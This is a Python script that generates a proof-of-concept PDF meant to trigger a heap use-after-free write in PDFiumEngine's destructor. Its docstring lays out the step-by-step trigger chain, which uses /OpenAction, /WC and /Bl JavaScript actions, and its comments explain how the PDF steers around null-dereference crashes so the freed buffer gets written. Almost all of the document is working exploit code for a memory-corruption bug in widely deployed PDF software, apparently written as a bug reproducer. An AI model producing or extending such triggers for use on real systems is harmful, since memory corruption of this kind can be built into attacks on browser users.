#!/usr/bin/env python3
"""Generate a PDF that triggers a UAF in PDFiumEngine member destruction.

Chain:
  1. /OpenAction focuses text field F1 on page 2 while the plugin's frame
     is still attached. This sets PDFiumEngine::focus_field_type_ = kText
     and creates a CFFL_FormField for F1.
  2. The embedding page tears down the plugin -> ~PDFiumEngine.
  3. Destructor body Unload()s page 0 then page 1. Unloading page 1 fires
     KillFocusAnnot on F1 -> /Bl JS runs once (harmless: members alive).
     focus_field_type_ stays kText.
  4. Destructor body runs the catalog /WC action, which calls setFocus(F1)
     again. This re-loads page 1 and re-focuses F1. The resulting
     SetFieldFocus(kText) is a no-op because focus_field_type_ is already
     kText, so the FormFieldFocusChange -> UpdateTextInputState null-deref
     is bypassed.
  5. Member destruction frees visible_pages_ etc. before pages_.
  6. ~pages_[1] -> FPDF_ClosePage -> KillFocusAnnot -> /Bl JS again.
     /Bl reads this.pageNum -> Form_GetCurrentPage -> GetMostVisiblePage
     -> CalculateVisiblePages -> visible_pages_.push_back() on the freed
     buffer: heap-use-after-free WRITE.

Both pages are small so they fit in the viewport together; this keeps
page 0 visible (so push_back(0) fires before any null-deref on the
in-flight pages_[1] entry) and avoids ScrollAnnotationIntoView changing
the viewport during /OpenAction.
"""

import sys


def build():
    objects = {}

    open_js = b'try{this.getField("F1").setFocus();}catch(e){}'
    wc_js = b'try{this.getField("F1").setFocus();}catch(e){}'
    bl_js = b'try{var x=this.pageNum;}catch(e){}'

    objects[1] = (
        b"<< /Type /Catalog /Pages 2 0 R /AcroForm 3 0 R "
        b"/OpenAction 10 0 R "
        b"/AA << /WC 9 0 R >> >>"
    )
    objects[2] = (
        b"<< /Type /Pages /Kids [4 0 R 5 0 R] /Count 2 >>"
    )
    objects[3] = (
        b"<< /Fields [6 0 R] /DA (/Helv 0 Tf 0 g) "
        b"/DR << /Font << /Helv 7 0 R >> >> >>"
    )
    # Small pages so both fit inside the iframe viewport.
    objects[4] = (
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] "
        b"/Resources << >> >>"
    )
    objects[5] = (
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] "
        b"/Resources << >> /Annots [6 0 R] >>"
    )
    # /Ff 1 = ReadOnly: makes IsAnnotationAnEditableFormTextArea() return
    # false, which skips the SetSelectedText("") -> TextSelectionChanged
    # null-frame deref in OnFocusedAnnotationUpdated during /WC.
    objects[6] = (
        b"<< /Type /Annot /Subtype /Widget /FT /Tx /T (F1) /V () "
        b"/Ff 1 "
        b"/Rect [20 150 180 180] /P 5 0 R /F 4 "
        b"/AA << /Bl 8 0 R >> >>"
    )
    objects[7] = (
        b"<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica "
        b"/Name /Helv >>"
    )
    objects[8] = (
        b"<< /S /JavaScript /JS (" + bl_js + b") >>"
    )
    objects[9] = (
        b"<< /S /JavaScript /JS (" + wc_js + b") >>"
    )
    objects[10] = (
        b"<< /S /JavaScript /JS (" + open_js + b") >>"
    )

    out = bytearray()
    out += b"%PDF-1.6\n%\xe2\xe3\xcf\xd3\n"

    offsets = {}
    max_num = max(objects)
    for num in range(1, max_num + 1):
        offsets[num] = len(out)
        out += f"{num} 0 obj\n".encode()
        out += objects[num]
        out += b"\nendobj\n"

    xref_pos = len(out)
    out += f"xref\n0 {max_num + 1}\n".encode()
    out += b"0000000000 65535 f \n"
    for num in range(1, max_num + 1):
        out += f"{offsets[num]:010d} 00000 n \n".encode()

    out += b"trailer\n"
    out += f"<< /Size {max_num + 1} /Root 1 0 R >>\n".encode()
    out += b"startxref\n"
    out += f"{xref_pos}\n".encode()
    out += b"%%EOF\n"
    return bytes(out)


if __name__ == "__main__":
    path = sys.argv[1] if len(sys.argv) > 1 else "poc.pdf"
    with open(path, "wb") as f:
        f.write(build())
    print(f"wrote {path}")
